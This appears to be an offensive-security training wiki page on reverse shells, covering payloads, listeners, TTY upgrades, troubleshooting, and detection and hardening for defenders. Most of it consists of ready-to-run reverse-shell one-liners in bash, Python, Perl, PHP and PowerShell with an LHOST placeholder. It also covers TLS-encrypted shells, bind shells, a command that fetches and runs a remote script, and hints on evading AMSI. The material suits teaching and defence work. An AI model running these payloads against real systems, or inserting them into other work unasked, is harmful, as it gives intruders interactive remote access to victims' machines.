Skip to content
Pwnversity
NET-REVSHELLSintermediate · 20 min · upd. 2026-11

Reverse shells and TTY stabilization

T1059.004T1059.001T1095T1573

A reverse shell is a TCP connection the victim machine opens toward the attacker and to which it attaches a command interpreter: whatever the attacker types goes into the remote shell’s stdin, and whatever the shell prints comes back over the same socket. It is the step that turns one-off command execution (a command injection, a file upload, an exploited service) into interactive access. This page is the wiki’s reference for three things: getting the shell reliably, turning it into a real terminal, and understanding the trail it leaves.

flowchart LR
    RCE["Command execution<br/>(cmdi, upload, exploit)"] --> PAY["Payload<br/>sh/bash/python/ps"]
    PAY -->|"outbound connection<br/>to LHOST:LPORT"| LST["Listener<br/>nc -lvnp"]
    LST --> RAW["Shell without TTY<br/>(pipe)"]
    RAW -->|"pty.spawn + stty raw"| TTY["Shell with TTY<br/>(real work)"]

A reverse shell needs exactly two things: command execution on the victim and the ability of the victim to open an outbound connection to your machine. The first comes from the vulnerability; the second is decided by the target’s network, and it is what fails most often.

  • Where it fits: right after confirming execution (id, whoami, a ping that arrives) and before post-exploitation. Without a TTY there is no sudo, no su, no editors, no interactive ssh.
  • What breaks it: egress filtering, mandatory proxies, EDR blocking child processes of the web server, AMSI on Windows, and the web server itself killing the request on timeout.
  • Alternatives when it fails: a bind shell if inbound ports are open, channels over 443 or DNS (see firewall evasion), or a web shell as an intermediate step (see from RCE to shell).

A Unix process is born with three file descriptors: 0 (stdin), 1 (stdout) and 2 (stderr). A reverse shell is nothing more than an interpreter whose three descriptors point at a socket instead of a terminal. Every payload does the same thing with different syntax:

Payload How it redirects the descriptors
bash -i >& /dev/tcp/H/P 0>&1 >& sends 1 and 2 to the socket; 0>&1 makes 0 read from the same place
Python os.dup2(s.fileno(), f) duplicates the socket descriptor over 0, 1 and 2
Perl open(STDIN,">&S") the same dup2, in Perl syntax
mkfifo + nc the shell’s output goes to nc; nc writes into a FIFO the shell reads as input

It is not a file on the system. The bash manual spells it out: if the operating system does not provide those special files, bash emulates them internally when redirecting to /dev/tcp/host/port. That is why the bash payload only works inside bash: in dash (the /bin/sh on Debian and Ubuntu) or in busybox’s sh it fails with cannot create /dev/tcp/...: Directory nonexistent. When the command arrives from a web application it is run by /bin/sh -c, so the payload is always wrapped:

Ventana de terminal
bash -c 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1'

The outer bash -c is not a “variant”: it is what guarantees the redirection is parsed by bash and not by the system’s sh.

When the shell hangs off a socket, the kernel does not see a terminal: there is no line discipline, no keyboard signals, no window size. Consequences:

  • Ctrl+C is received by your local nc, not by the remote shell: it kills the listener and you lose the session.
  • No history, arrow keys or tab completion.
  • sudo, su, ssh, passwd and editors require a TTY and fail (must be run from a terminal, no tty present).
  • bash warns on startup: no job control in this shell.

Stabilizing the shell means placing a pseudoterminal (PTY) between the socket and the interpreter: python3 -c 'import pty;pty.spawn("/bin/bash")' or script create a master/slave pair, the interpreter attaches to the slave (and now sees /dev/pts/N) while the master stays connected to the socket. What remains is making your terminal stop interpreting keystrokes (stty raw -echo) so that Ctrl+C, Tab and the arrows travel all the way to the remote PTY.

Variant Who connects When
Reverse shell the victim, to you the default: outbound connections are almost always allowed
Bind shell you, to the victim when the victim cannot reach out but can accept inbound (DMZ, lab network)
Encrypted reverse shell the victim, over TLS when traffic is inspected or you do not want the credentials you type traveling in the clear
Web shell you, over HTTP to confirm execution and launch the reverse shell; not to work from

In msfvenom, a stageless payload (shell_reverse_tcp) carries the whole shell in the binary and works with any listener; a staged one (shell/reverse_tcp) carries only the connector and needs the listener (multi/handler) to send the rest. With nc, always use stageless.

Check which nc you have first: there are three families and they do not accept the same options.

Binary -e TLS Notes
netcat-openbsd (Debian, Ubuntu, Kali by default) no no the one from apt install netcat-openbsd; nc -lvnp works
netcat-traditional (nc.traditional) yes no compiled with -DGAPING_SECURITY_HOLE
ncat (nmap package) yes (-e, --sh-exec) yes (--ssl) the most complete; ncat -lvnp 443
Ventana de terminal
# Basic listener (on Kali any user can listen below 1024 since 2021.2)
nc -lvnp 443
# Listener that logs the session to a file (useful for the report)
nc -lvnp 443 | tee session-$(date +%F-%H%M).log
# Encrypted listener with a temporary certificate (ncat generates one on the fly)
ncat --ssl -lvnp 443

Do not put rlwrap in front of the listener if you are going to stabilize the shell: rlwrap interprets keystrokes before they reach the remote PTY and breaks stty raw -echo. Keep it for shells you will not stabilize (Windows without ConPtyShell).

Use a common outbound port (443, 80, 53, 8080): egress filtering usually allows them and the traffic blends in. If the target is reached through a lab VPN, LHOST is your IP on that interface (ip -4 a show tun0), not your LAN address.

LHOST/LPORT are the listener’s IP and port. Before choosing, check what is available:

Ventana de terminal
which bash python3 python perl php nc ncat socat busybox 2>/dev/null
Ventana de terminal
# bash (requires bash; wrapped so dash does not run it)
bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1'
# sh + mkfifo: works with any nc, no -e needed
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc LHOST LPORT > /tmp/f
# nc with -e (traditional or ncat)
nc -e /bin/sh LHOST LPORT
ncat -e /bin/sh LHOST LPORT
# busybox (routers, minimal containers): its nc usually does have -e
busybox nc LHOST LPORT -e /bin/sh
# python3
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("LHOST",LPORT));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.call(["/bin/bash","-i"])'
# perl
perl -e 'use Socket;$i="LHOST";$p=LPORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
# php (if fsockopen and proc_open are not in disable_functions)
php -r '$s=fsockopen("LHOST",LPORT);proc_open("/bin/sh -i",array(0=>$s,1=>$s,2=>$s),$p);'

The bash, mkfifo, Python, Perl and PHP payloads above were run against a local listener while writing this page; the busybox one was not (unverified in this environment).

When the payload travels inside an HTTP request, &, >, | and quotes break. The two usual ways out (Base64-encode it, or serve a script and fetch it with curl … | bash) are covered in from RCE to shell.

With nc everything travels in the clear: any IDS or tcpdump along the way sees the commands and the passwords you type. Two options that need nothing uploaded to the victim:

Ventana de terminal
# Option A: ncat (attacker) + ncat (victim)
ncat --ssl -lvnp 443 # attacker
ncat --ssl -e /bin/bash LHOST 443 # victim
# Option B: openssl, present almost everywhere
openssl req -x509 -newkey rsa:2048 -keyout k.pem -out c.pem -days 7 -nodes -subj /CN=x # attacker
openssl s_server -quiet -key k.pem -cert c.pem -port 443 # attacker
rm -f /tmp/s; mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect LHOST:443 > /tmp/s # victim

Option B was tested against a local s_server while writing this page. Encryption hides the content, not the connection: the process tree (sh child of openssl child of www-data) remains a clear indicator for the defenders.

Windows has no /dev/tcp and no mkfifo; the usual interpreter is PowerShell and the connection is opened with System.Net.Sockets.TCPClient:

Ventana de terminal
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('LHOST',LPORT);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([text.encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()"

This one-liner is the one AMSI and Defender know by heart: an up-to-date Windows blocks it as is. The options are to pass it encoded (-EncodedCommand, in UTF-16LE), obfuscate it, or change vector (see Windows evasion). If you can upload binaries, nc.exe (the ncat build for Windows) with -e cmd.exe avoids PowerShell entirely.

For a truly interactive shell on Windows (editors, Ctrl+C, colors) the reference is ConPtyShell: it uses the Windows pseudoconsole API (CreatePseudoConsole), available since Windows 10 1809 / Server 2019. The listener is a plain nc with the terminal in raw mode:

Ventana de terminal
# attacker: terminal in raw mode and the size sent on connect
stty raw -echo; (stty size; cat) | nc -lvnp 3001
Ventana de terminal
# victim (the .ps1 served from your machine or already uploaded)
IEX(IWR http://LHOST/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell LHOST 3001

When you are done, recover your terminal with reset. Without ConPtyShell, rlwrap nc -lvnp 443 at least gives you history and arrow keys over a PowerShell or cmd shell.

Full sequence; each line says where it runs:

Ventana de terminal
python3 -c 'import pty;pty.spawn("/bin/bash")' # victim: creates the PTY
# Ctrl+Z # your machine: suspends nc
stty raw -echo; fg # your machine: raw + back to nc (press Enter)
export TERM=xterm SHELL=/bin/bash # victim: so clear, vim and tmux work
stty rows 40 columns 160 # victim: whatever "stty size" says in your terminal

Without Python:

Ventana de terminal
script -qc /bin/bash /dev/null # util-linux, almost always present
/usr/bin/script -qc /bin/bash /dev/null # if /usr/bin is not in www-data's PATH

With socat on both ends (if it is not on the victim, upload the static binary) you get a full PTY in one step, resizing included:

Ventana de terminal
socat file:$(tty),raw,echo=0 tcp-listen:443 # attacker
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:LHOST:443 # victim

Check it worked with tty (it must return /dev/pts/N) and with a Ctrl+C inside a sleep 10: if the remote prompt comes back, the PTY is fine. If at any point your local terminal ends up corrupted (no echo, odd line breaks), reset fixes it.

Order of checks, from most to least frequent:

  1. Wrong LHOST. In a lab with a VPN the IP is the one on tun0. Check with ip -4 a and resend the payload.
  2. No egress to your port. From the victim, if you have command output: curl -m 3 http://LHOST:443 or bash -c 'echo > /dev/tcp/LHOST/443'. On your machine, sudo tcpdump -ni tun0 'tcp port 443 or icmp' tells you whether anything arrives. If the SYN arrives and there is no shell, the problem is the payload; if nothing arrives, it is the network: try 80, 53 or 8080, or a DNS/HTTP channel (see pivoting).
  3. sh is running it, not bash. The symptom is Directory nonexistent. Wrap it in bash -c '…' or use the mkfifo payload.
  4. The payload breaks on the way. Special characters in HTTP, quotes inside quotes, the + in Base64 turned into a space. Encode it or serve a script.
  5. The request dies on timeout and takes the shell with it. Launch the payload detached: setsid bash -c '…' & or nohup … &.
  6. The binary is missing. nc without -e, Python 2 instead of 3, php with disable_functions. Change payload before changing port.
  7. AV/EDR (especially on Windows). Read Windows evasion before insisting on the same one-liner.

Useful when the victim accepts inbound connections but cannot open them (or when you want to reconnect without exploiting again). Leave a listener on the victim and connect yourself:

Ventana de terminal
# victim
rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -lvnp 4444 > /tmp/f
# attacker
nc VICTIM 4444

A newly opened port is visible to anyone scanning the machine and to the defenders’ inventory: on an engagement, write it down and close it when you finish.

  1. Confirm execution and network egress before burning attempts (id, curl to your machine).
  2. Pick the payload by what is installed, not by habit.
  3. Listener without rlwrap, on a common outbound port, with session logging.
  4. Launch the payload detached from the request.
  5. Stabilize (PTY, stty raw, TERM, size) before doing anything else.
  6. Take notes: time, port, payload, user obtained and paths of any file you left behind (FIFO in /tmp, scripts, web shell). It goes in the report and in the cleanup.
  • nc / ncat / socat: listeners and clients; socat for a full PTY; ncat for TLS.
  • penelope, pwncat-vl: shell handlers with automatic upgrade.
  • msfvenom + multi/handler: binary and staged payloads (see Metasploit).
  • ConPtyShell: a real PTY on Windows.
  • revshells.com: payload generator by language and encoding.

The reverse shell is not the finding: it is the proof that the previous vulnerability gives interactive execution. From there, Linux enumeration or Windows enumeration, file transfer to bring in tools, and pivoting to reach the internal network. In the report, the shell demonstrates impact; the technical detail that matters is how the initial execution was obtained.

What gives a reverse shell away is the relationship between processes and the outbound connection, not the content (which may be encrypted):

  • A server process (java, php-fpm, apache2, nginx, node, w3wp.exe, tomcat) spawning a child sh, bash, cmd.exe or powershell.exe. Sigma rules: Shell Process Spawned by Java.EXE (dff1e1cc-d3fd-47c8-bfc2-aeb878a754c0) and Linux Reverse Shell Indicator (83dcd9f6-9ca8-4af7-a16e-a1c7a6b51871: bash with a connection to a non-local IP).
  • bash, sh, python, perl or php with an outbound TCP connection of their own: an interpreter should not hold sockets to the Internet.
  • Command lines containing /dev/tcp/, mkfifo, nc -e, socket.socket, TCPClient, pty.spawn.
  • Traffic to 443 that is not TLS (no handshake) or TLS with a freshly generated self-signed certificate toward an IP with no reputation.
  • On Windows, PowerShell with -EncodedCommand or -nop -w hidden launched by a process that is not a user console.
  • Linux: auditd with rules on execve and connect (or Sysmon for Linux, EID 1 and 3); the EDR supplies the process tree with the service account (www-data, tomcat).
  • Windows: Sysmon EID 1 (process creation, with ParentImage) and EID 3 (network connection); Script Block Logging (EID 4104) to see the decoded one-liner.
  • Network: NetFlow/Zeek for long outbound connections from servers that should not reach out; proxy logs for whatever does not go through it.
  • Default-deny egress on servers: only what they need (repositories, specific APIs) and through the proxy. It is the single measure that cuts the most reverse shells.
  • Web services in containers or under AppArmor/SELinux profiles that keep the process from executing interpreters or opening outbound sockets.
  • PHP with disable_functions for exec, system, proc_open, popen, fsockopen.
  • Windows: PowerShell Constrained Language Mode, ASR rules blocking child processes of Office and web servers, App Control for Business.
  • Remove unnecessary tools from images (nc, socat, compilers).
  1. Isolate the host’s network (block the destination IP and port at the firewall) without powering it off: the process and its descriptors are still there for analysis.
  2. Capture the process tree and open sockets (ss -tanp, lsof -p), and the shell history if there is one.
  3. Look for the entry vulnerability in the web server logs in the window before the connection.
  4. Check for persistence: cron, services, SSH keys, web shells in the webroot.
  • CVE-2022-26134 (Atlassian Confluence, OGNL). Volexity documented in-the-wild zero-day exploitation in May 2022: unauthenticated command injection, JSP web shells on disk and reverse shells. Detections at the time relied on java spawning bash.
  • CVE-2023-46805 + CVE-2024-21887 (Ivanti Connect Secure). Chained for unauthenticated RCE; CISA’s joint advisory AA24-060B describes web shells and persistence as post-exploitation.
  • CVE-2021-44228 (Log4Shell). The canonical java → sh case: the Sigma rule for Java child processes cites this campaign as its reference.
  • Execution confirmed with a command that needs no network (id, whoami).
  • Egress confirmed toward your port (tcpdump on your side).
  • Correct LHOST for the lab interface.
  • Payload chosen by the victim’s binaries; wrapped in bash -c if it uses /dev/tcp.
  • Listener without rlwrap and with session logging.
  • Shell stabilized: tty returns /dev/pts/N, Ctrl+C does not kill it, TERM and size set.
  • Temporary files (FIFO, scripts, web shell) noted and removed when done.